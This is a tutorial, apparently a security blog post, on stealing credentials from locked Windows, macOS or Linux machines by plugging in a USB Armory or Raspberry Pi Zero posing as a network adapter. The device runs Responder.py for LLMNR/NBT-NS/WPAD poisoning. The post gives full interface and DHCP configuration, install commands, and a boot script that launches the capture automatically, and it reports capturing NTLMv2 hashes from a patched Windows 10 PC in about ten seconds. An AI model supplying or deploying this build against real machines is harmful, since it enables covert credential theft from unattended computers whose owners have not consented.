Snagging credentials
Image taken from: Dashlane
This tutorial will go through stealing credentials from a fully locked, fully patched (at the time of writing) Windows, Mac OS X or Linux machine.
Since the time of writing, the attack has become very well documented on the internet, and patches were released from OS manufacturers such as Microsoft1. Unfortunately, even after testing the attack on a Windows 10 PC with the newest patches, it was still successful.
On a final note, this work was made possible by Rob ‘Mubix’ Fuller2, which has made an awesome documentation about the implementation of this attack using USB Armory, and most of the work described later on heavily references his research and work.
Responder.py
Image taken from: Plixer
As the Github repo nicely explains:
“Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.“
Without explaining every of the upper mentioned protocols in depth:
Responder is basically a Python program which enables DNS poisoning on a target pc, along with built-in auth servers for HTTP, SMB, FTP, LDAP and MSSQL protocols, and also supports the NTLM authentication protocol (Windows Challenge/Response), which is used in the Microsoft Windows operating systems.
Responder can be described as a program which waits for any outbound request from a PC to the outside network, like an FTP request, and then falsely represents itself as the requested server, enabling it to intercept all communication between the targeted PC and the server.
Depending on the protocol and the type of authentication, Responder forwards the auth request towards the server, which can in turn respond with a challenge that the target has to respond to in order to successfully authenticate. Responder forwards that challenge towards the target, to which the targeted PC responds with a generated response, possibly a hash of its password made using the challenge sent by the server, which it sends back to the Responder, thinking it’s in fact, the target server.
Afterwards, depending on the protocol and its version, e.g. NTLMv1, we can “crack” the hash in order to obtain the password, or just “pass-the-hash” to the server and authenticate as the targeted PC.
USB armory vs RPi Zero
The USB Armory or the RPi Zero can be used as the hardware components for this attack. They’re both SoC-s (System on a Chip), which contain all of the components on a single board (RAM, GPU, CPU, etc.).
Both devices can run various Linux distros, but for this tutorial we’ll use a Debian distro. If you’re an advanced user, and want more options, you can also use Kali.
USB Armory
Image taken from: InversePath
Specs:
- CPU: NXP i.MX53 ARM® Cortex™-A8 800Mhz
- RAM: 512MB DDR3 RAM
- GPU: None
Raspberry Pi Zero
Image taken from: Raspberry Pi
Specs:
- CPU: Broadcom BCM2835 1GHz
- RAM: 512MB RAM (shared with GPU)
- GPU: Broadcom VideoCore IV @ 250 MHz
There isn’t too big of a difference between the two devices in terms of main components. But one of the big differences is that the USB Armory doesn’t have a dedicated GPU, unlike the RPi which can actually run FullHD video without breaking a sweat.
That being said, the USB armory wasn’t meant to be used as an everyday PC. Even though it lacks a GPU, it has a plethora of other security features, since its primary target audience are security enthusiasts, which is why it supports secure boot and ARM® TrustZone® and can be used as a portable pentesting platform, an end-to-end VPN tunneling router, encrypted file storage with host auth and data self-destruct.
On the other hand, the RPi’s main purpose is to be used as anything from a day-to-day PC to a home automation controller or a sensor hub.
Cool story bro - why do we care?
Yeah, one of the questions that may have crossed your mind was:
Why would we then even consider using a RPi as a platform for this attack, if the USB Armory was made for such purposes?
Wait for it:
Image taken from: Giphy
The moneyz.
If you want to get an USB Armory with a few essentials, such as an acrylic case and a microSD, you’re gonna have to be ready to pop up to €150.
On the other hand, to get the RPi (just the board), you’re gonna have to pop up a miserable €5.
Even though the Armory has a plethora of advantages for InfoSec projects, if you wanna make more than one project, it’s gonna get pretty expensive, pretty fast. While on the other hand you won’t mind using an RPi for pretty much anything, since its in the price range of a nice kebab.
And we’re lucky for it. The RPi is an amazing bang for the buck, which, for only €5, supports a number of fully blown OS’s (mostly Linux distros, but others aswell), but also USB OTG, which makes us able to use it both as a host and as a regular device, which is, wink wink crucial for our planned attack.
And the last interesting characteristic for this attack:
Both devices are roughly the size of a regular *flash* memory (USB Stick), which enables concealment and stealthy engagements.
Implementing the attack
Let’s get down to it.
We mentioned earlier that both of the devices support OTG functionality3.
Since the USB protocol is Plug-and-Play4, the device will be installed on the targeted PC even if the target is locked.
That being said, of course there are limitations as to which devices can be installed automatically, but to our luck, Ethernet/LAN devices are automatically trusted on almost all systems.
Understanding both, we can configure our devices to present themselves to the target as Ethernet/LAN adapters - Remote Network Driver Interface Specification (RNDIS 5) Ethernet gadgets, which assume priority over all other network interfaces on the PC, which allows them to reroute all of the traffic through themselves.
After the device connects to the target and installs itself as an RNDIS gadget (usually just a couple of seconds), the device should start the Responder.py which configures it as the default gateway, DNS server, WPAD server and any other server the PC could send requests to.
And you’re probably thinking:
But the PC is locked, how is this possible?
Our PCs generate traffic every second they’re connected to the network, locked or not, even if we haven’t manually run any apps that would use the network. Also, at least in the context of this little research, our PCs will completely trust the local network (important note: this is true if the settings are at their default values), which in turn enables us to implement attacks like this.
Setting up the device
The implementation of the attack requires preparing both the hardware and the software on it. It goes something like this:
- Installing an OS to the device
- Configuring the network interface
- Configuring the DHCP server
- Installing Responder and its dependencies
- Automating the process on boot
Note: in the following parts, we’ll describe the process for setting up the USB Armory. The process is very much alike (if not the same) for the RPi, once it has an OS up and running.
Installing an OS
This part won’t be covered in depth, since it is very well documented on the interwebz6 and the official sites of the devices used here. For our intents and purposes, we’ve installed the latest Debian Linux at the time of writing on our device.
Configuring network interfaces
We should configure the network interface on our OS (found here: /etc/network/interfaces) to use the usb0 interface as the default interface, with an assigned static IP address.
/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.201
netmask 255.255.255.0
gateway 192.168.2.1
Configuring the DHCP server
The only, but the most important thing while configuring the DHCP server is configuring the option local-proxy-config to use a WPAD file7.
The Web Proxy Auto-Discovery Protocol (WPAD)8 is a method used by clients to locate the URL of a configuration file using DHCP and/or DNS discovery methods.
WPAD is a technology which helps clients, such as Web browsers, to automatically find the location of the PAC file using DNS or DHCP.
A proxy auto-config (PAC)9 file defines how web browsers and other user agents can automatically choose the appropriate proxy server (access method) for fetching a given URL.
In layman terms, the option above tells the target to first use the WPAD file if it needs to find a URL, which in turn tells the target how to get to the requested URL using the PAC file instead of using DNS. One very interesting fact in the context of this attack is that DHCP has a higher priority than DNS, which means that if DHCP offers a WPAD URL, the PC won’t do a single DNS lookup, it’ll just get the URL using the way defined by the WPAD.
/etc/dhcp/dhcpd.conf
ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.201;
default-lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.1 192.168.2.2;
option routers 192.168.2.201;
option local-proxy-config "http://192.168.2.201/wpad.dat";
}
Installing Responder.py and its dependencies
Responder can be found on SpiderLabs’s GitHub repo, the Trustwave security team. Responder needs the Python Cryptography Toolkit in order to work.
# PyCrypto
git clone https://github.com/dlitz/pycrypto
cd pycrypto
python setup.py build
python setup.py install
# Responder
git clone https://github.com/SpiderLabs/Responder
cd Responder
./Responder.py [options]
Automating the attack on device boot
The easiest way to do this is to edit the rc.local file:
#!/bin/sh -e
# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0
The results of the attack
After plugging in the attack device into a fully patched Windows 10 PC (at the time of writing), the attack was successful. Using the Armory, it took on average about 10 seconds from plugging in to plugging out the device, which captured all of the credentials and hashes it could, and stored them in the Responder.db database file.
PoC || it didn’t happen
NTLMv2 hash
SMB Share
DNS Poison
Misc
